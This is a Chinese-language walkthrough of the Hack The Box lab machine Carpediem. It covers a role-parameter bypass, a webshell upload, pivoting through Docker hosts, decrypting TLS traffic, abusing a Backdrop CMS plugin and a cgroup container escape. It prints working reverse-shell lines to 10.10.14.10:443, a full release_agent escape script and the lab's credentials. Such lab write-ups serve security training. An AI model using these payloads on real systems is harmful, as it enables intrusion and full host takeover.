【地狱模式】 HTB:Carpediem
2022-12-16 15:35:49 Author: moonsec(查看原文) 阅读量:17 收藏

HTB:Carpediem

端口扫描

通过nmap对靶机端口进行探测,发现存在22和80端口。

访问web页面。发现是一个静态页面,没有可利用的部分。

目录扫描

子域枚举

通过对域名进行fuzz子域名,发现存在portal一级域名。

将它加入/etc/hosts,访问之后,是一个页面。

发现一个登录框,并且注册了一个用户。

剩下的就是一些它的基本功能模块。

此时看到一个 PHP 页面,该页面要么包括基于 的页面p,要么基于它的分支。我会尝试设置p为index看看会发生什么。页面已经崩溃。

第二次目录枚举

接着对新域名进行目录爆破。

发现访问/admin目录是没有权限的。

漏洞利用:

源读取失败

基于上面的分析,我已经非常确信该index.php页面正在调用类似include $_GET['p'] . '.php'. 因为它附加了扩展名,所以我无法尝试读取不是 PHP 的文件。

失败的 XSS

在报错页面中发现,“管理人员会在看到您的确认请求后立即与您联系”这句话。这表明管理层将查看我的提交,这表明可能存在跨站点脚本攻击。看看当我提交请求时会发生什么,它实际上发出了两个 POST 请求/classes/Master.php:

逻辑漏洞利用

在查看与帐户交互的请求中,发现一个数据包中,会把创建帐户的 POST 转到/classes/Master.php?f=register。

它包括表单上的所有可见字段,以及id和login_type。这些来自hidden字段,可以在 HTML 源代码中看到:

通过修改用户id为2,成功绕过前端验证,获取到/admin访问权限。

更新登录类型

接下来我将尝试将login_type更改为其他值。将其设置为 1 时,它会返回成功:

绕过前端验证之后,进入admin页面。

接着去看它的功能模块。

文件上传漏洞

发现一个表单,可以进行文件上传。

但是空白action表示它将提交到当前 URL,即/admin/?page=maintenance/helpdesk. 我可以手动重新创建此表单提交,但我提交的任何内容似乎与此页面没有任何不同。

找了一些关于表单上传的资料,

https://stackoverflow.com/questions/8659808/how-does-http-file-upload-work/8660740#8660740

在红色中,Content-Type标题将是multipart/form-data,然后它定义了boundary用于分隔各种参数的 。在标准 POST 中,这将是一个&,但对于表单,它允许每个项目同时具有元数据和数据,因此每个参数都由该字符串分隔。每个使用中的边界字符串都带有一个额外的前缀--,最后一个已--添加到末尾。

本例中的第一个参数(蓝色标签)只是一个表单值。第一行是元数据,;以 - 分隔,以 开头Content-Disposition: form-data,然后是一系列键值对。MAX_FILE_SIZE这里只有一个,name用于由服务器引用该项目。第二项具有文件上传的典型元数据,包括filename标题Content-Type。

构建上传请求

构造表单文件,进行文件上传。

成功上传文件。

在上传文件之后,写入shell。

获取webshell

成功获取到shell。

反弹shell

使用curl命令去反弹shell到443端口。

使用nc监听443端口。

升级交互式shell

使用/stty 技巧升级 shell

主机信息收集

接着进行配置文件查看

找到一个DBConnection.php,发现了数据库的连接密码和用户名。

<?php
if(!defined('DB_SERVER')){
   require_once("../initialize.php");
}
class DBConnection{    private $host = 'mysql';
   private $username = 'portaldb';
   private $password = 'J5tnqsXpyzkK4XNt';
   private $database = 'portal';
   
   public $conn;
   
   public function __construct(){        if (!isset($this->conn)) {
           
           $this->conn = new mysqli($this->host, $this->username, $this->password, $this->database);
           
           if (!$this->conn) {
               echo 'Cannot connect to database server';
               exit;
           }            
       }    
       
   }
   public function __destruct(){
       $this->conn->close();
   }
}
?>

网络枚举

使用time for枚举c段内的主机。

端口探测

使用wget命令上传一个打包好的nmap,进行进行端口探测。

隧道搭建

使用chisel搭建socks隧道,然后把流量代理出去。

./chisel_1.7.7_linux_amd64 client 10.10.17.140:8000 R:socks

接着配置proxychains,在本地使用代理。

172.17.0.1 - 主机

通常在 Docker 中,.1 是主机。事实上,它与我在 CarpeDiem 的给定 IP 上看到的相匹配。

172.17.0.2 - backdropcms

nmap显示此主机正在侦听 HTTP (80)、HTTPS (443) 和 FTP (21)。HTTP 站点只是重定向到 HTTPS。这是Backdrop CMS的一个实例

172.17.0.3 - MySQL

172.17.0.4 - MongoDB

proxychains mongo 172.17.0.4
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
MongoDB shell version v3.6.8
connecting to: mongodb://172.17.0.4:27017/test
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.4:27017  ...  OK
Implicit session: session { "id" : UUID("f87fa546-0593-42c5-b3a5-e6d1dff06a7f") }
MongoDB server version: 5.0.6
WARNING: shell and server versions do not match
Server has startup warnings:
{"t":{"$date":"2022-11-28T13:57:33.732+00:00"},"s":"I",  "c":"STORAGE",  "id":22297,   "ctx":"initandlisten","msg":"Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem","tags":["startupWarnings"]}
{"t":{"$date":"2022-11-28T13:57:36.570+00:00"},"s":"W",  "c":"CONTROL",  "id":22120,   "ctx":"initandlisten","msg":"Access control is not enabled for the database. Read and write access to data and configuration is unrestricted","tags":["startupWarnings"]}
>

172.17.0.5-trudesk

172.17.0.5 在 8118 上开放。这是一个不寻常的端口。尝试它并nc没有显示太多,但它可以通过 HTTP 工作。这是一个 trudesk 登录表单:

我已经多次看到 trudesk 被提及,首先是在管理面板中,然后是在 MongoDB 中。trudesk是一个免费的票务管理系统。

我没有用于登录的用户名/密码。

找到了他的API文档。

查找trudesk的tickects

通过抓包,然后请求/api/user,返回404

构造accesstoken

通过之前在主机里面获取到的APItoken,然后在burp里面构造accesstoken。

通过翻阅API文档,发现存在uid为1006的用户。

然后请求/api/vi/tickets/1006,获得大量信息。

grep筛选

使用grep进行筛选。

在其中发现了2022,和9650 、zoiper等关键信息。

获取 hflaccus Creds

通过Google下载这个电话软件。

安装之后,进行启动。

输入之前获得的那些关键信息。

成功进行登录。

获得登录密码

通过语音提示,然后获取到了密码(AuRj4pxq9qPk)等信息。

SSH远程登录

接着使用ssh远程登录。

获取user.txt

接着进行端口查看。

流量包分析

首先,跳过环回。eth0会得到流量,但可能也不是我在这里需要的。docker0将捕获 172.17.0.0/24 网络上的所有流量,使用开始tcpdump收集-i docker0,-s 65535捕获完整帧,and -w

使用wireshark分析流量

trudesk 正在查询 mongo 的地方有一堆连接。然后有超过 443 个会话从主机到 CMS。似乎有两组,一些在 47 k 左右,另一些在 4 k 左右。

在这种情况下感兴趣的是密码套件,TLS_RSA_WITH_AES_256_CBC_SHA256. 谷歌搜索将显示多个站点报告为弱密码套件

找密码

这里的问题是 RSA 不支持完美前向保密 (PFS):

PSF 允许攻击者获得私钥(网站的证书),并且由于加密的方式,他们仍然无法访问明文。如果没有 PFS,任何拥有证书的人都可以解密流量。

证书通常存储在/etc/ssl/certs. 私钥应该保存在只有 root 可以读取的地方。此目录中有大量文件:

解密 TLS

还原请求包

POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in

找到了另一个地址。backdrop.carpediem.htb:8002

和name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in

Backdrop CMS漏洞利用

搜索 Backdrop CMS 漏洞,出现了这个 repo 。它描述了一种攻击路径,使用跨站点请求伪造 (CSRF) 让管理员安装恶意插件,从而提供 webshell。我不需要 CSRF,因为我已经可以登录管理面板了。所以我只会使用插件。

我将从发布页面下载reference.tar并查看它:

然后进行文件上传。

发现一个上传功能,接着构造压缩包进行文件上传。

权限提升

反弹shell

使用curl触发

curl -k https://localhost:8002/modules/reference/shell.php

成功获取到权限。

发现一个脚本,

该脚本是可用性检查:使用cat命令进行查看。

[email protected]:/opt$ cat heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34"  ]]; then
       exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
       #something went wrong.  restoring from backup.
       cp /root/index.php /var/www/html/backdrop/index.php
fi
[email protected]:/opt$

编辑index.php

知道 root 每 30 秒执行一次此脚本,我没有修改权限heartbeat.sh。我也不能修改backdrop.sh,即使我可以,散列也会改变,脚本也无法通过该检查。

index.php归 www-data 所有,因此我可以编辑它:

❯ cat index.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

使用netcat进行监听443端口

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.167
[email protected]:/var/www/html/backdrop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/var/www/html/backdrop# hostname -I
172.17.0.2
[email protected]:/var/www/html/backdrop#

编写脚本进行提权

我们可以利用这篇文章进行容器逃逸,获取root权限

https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1

由于机器没有 nano 或 vi,我们创建脚本并与服务器共享

❯ cat script.sh
mkdir /dev/shm/privesc
mount -t cgroup -o rdma cgroup /dev/shm/privesc
mkdir /dev/shm/privesc/x
echo 1 > /dev/shm/privesc/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /dev/shm/privesc/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

成功获取权限root权限

获取root.txt

总结

这个靶机为困难模式的靶机,靶机包含的知识和内容,以及靶机的复杂程度都是相当的大。靶机包含了逻辑漏洞、文件上传、6台域内主机,APi文档的调用,流量分析等知识点。感兴趣的小伙伴也可以试一试。

关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653586255&idx=1&sn=a50414ac1d7ecd359168229f820f8a98&chksm=811b950db66c1c1b88e452b74a8e40fb9a1727f1d98603db626f764fef0860e5d9cee6227a81#rd
如有侵权请联系:admin#unsafe.sh